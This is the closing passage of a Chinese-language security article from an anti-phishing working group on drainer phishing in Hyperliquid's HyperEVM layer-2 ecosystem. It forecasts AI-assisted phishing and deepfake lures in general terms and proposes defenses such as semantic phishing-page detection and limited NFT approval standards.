地下产业链上游生产、分销、分赃全流程后续可依托更多批量钓鱼实战样本完善产业链上游研究。从威胁演化趋势判断未来 HyperEVM 同类二层链 Drainer 钓鱼攻击将呈现两大迭代方向一是 AI 生成动态钓鱼前端大模型实时改写页面文案、域名字符混淆规则、交易诱导话术规避社交平台、浏览器静态钓鱼检测二是混合式钓鱼链路先通过 AI 生成高管伪造音视频开展社交鱼叉钓鱼获取用户信任后推送空投钓鱼链接进一步提升授权签名成功率。对应防御技术层面后续可聚焦两大深化研究方向一是基于大模型的钓鱼页面动态语义识别引擎自动解析空投诱导话术、无限授权隐藏逻辑实现钓鱼站点实时动态拦截二是二层 EVM 定制化合约授权安全标准设计绑定业务场景的限时、限额 NFT 授权机制从底层标准消除永久无限授权带来的资产被盗风险。Hyperliquid 等分层 DeFi 生态需同步完善跨主体安全协同机制打通情报共享、风险处置、用户维权通道持续迭代钱包、链上监测、社交风控多层防护能力构建适配二层 EVM NFT 流动性业务场景的 Web3 安全防护体系。编辑芦笛公共互联网反网络钓鱼工作组